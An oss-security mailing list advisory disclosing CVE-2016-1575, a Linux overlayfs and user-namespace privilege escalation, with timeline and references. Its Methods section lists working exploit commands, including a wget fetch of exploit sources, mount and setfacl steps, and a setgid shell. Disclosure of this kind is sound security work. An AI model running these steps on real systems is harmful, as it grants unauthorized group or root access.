Date: Wed, 24 Feb 2016 05:58:04 +0000 From: halfdog <me@...fdog.net> To: oss-security@...ts.openwall.com Subject: User Namespaces Overlayfs Xattr Setgid Privilege Escalation: Overlayfs -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [http://www.halfdog.net/Security/2016/UserNamespaceOverlayfsXattrSetgidPrivilegeEscalation/] Introduction: ============= * Problem description: Linux user namespace allows to mount file systems as normal user, including the overlayfs. As many of those features were not designed with namespaces in mind, this increase the attack surface of the Linux kernel interface. Overlayfs was intended to allow create writeable filesystems when running on readonly medias, e.g. on a live-CD. In such scenario, the lower filesystem contains the read-only data from the medium, the upper filesystem part is mixed with the lower part. This mixture is then presented as an overlayfs at a given mount point. When writing to this overlayfs, the write will only modify the data in upper, which may reside on a tmpfs for that purpose. Due to inheritance of Posix ACL information (xattrs) when copying up overlayfs files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in . On standard Ubuntu system, this allows to gain access to groups staff, mail, libuuid. Methods: ======== * Target Selection: Suitable target directories can be easily found using find / -perm - -02020 2> /dev/null. On standard Ubuntu system those are: /usr/local/lib/python3.4 (root.staff) /var/lib/libuuid (libuuid.libuuid) /var/local (root.staff) /var/mail (root.mail) Exploitation: Exploitation can be done just combining standard tools with the  exploit. The following steps include command variants needed for different operating systems. They have to be executed in two processes, one inside the user namespace, the other one outside of it. Inside: test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c test$ gcc -o UserNamespaceExec UserNamespaceExec.c test$ gcc -o SuidExec SuidExec.c test$ ./UserNamespaceExec -- /bin/bash root# mkdir mnt test work root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test overlayfs mnt # Ubuntu Trusty root# mount -t overlayfs -o lowerdir=[parent of targetdir],upperdir=test,workdir=work overlayfs mnt # Ubuntu Wily Outside: test$ setfacl -m d:u:test:rwx test # Ubuntu Trusty test$ setfacl -m d:u::rwx,d:u:test:rwx work/work # Ubuntu Wily Inside: root# chmod 02777 mnt/[targetdir] root# umount mnt Outside: test$ ./CreateSetgidBinary test/[targetdir]/escalate /bin/mount x nonexistent-arg test$ test/[targetdir]/escalate ./SuidExec /bin/bash test$ touch x test$ ls -al x - -rw-r--r-- 1 test [targetgroup] 0 Jan 16 20:39 x Results, Discussion: ==================== On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed. According to , directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial. Timeline: ========= * 20160116: Discovery, report at Launchpad  * 20160122: Patch to disable unprivileged userns due to this and other issues  * 20160217: CVE-2016-1575 linked on launchpad  * 20161122: CRD and publication References: ===========  http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/  http://www.openwall.com/lists/oss-security/2016/01/16/7  https://bugs.launchpad.net/bugs/1534961  https://lkml.org/lkml/2016/1/22/7  http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-1575 hd - -- http://www.halfdog.net/ PGP: 156A AE98 B91F 0114 FE88 2BD8 C459 9386 feed a bee -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlbNRmEACgkQxFmThv7tq+7ouwCfXDh+7HyLW11LYgPWluK/+f3j dMsAnAodbxwlOd0oMnEjeoa9QCFFoBqq =ubsA -----END PGP SIGNATURE-----
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Powered by Openwall GNU/*/Linux - Powered by OpenVZ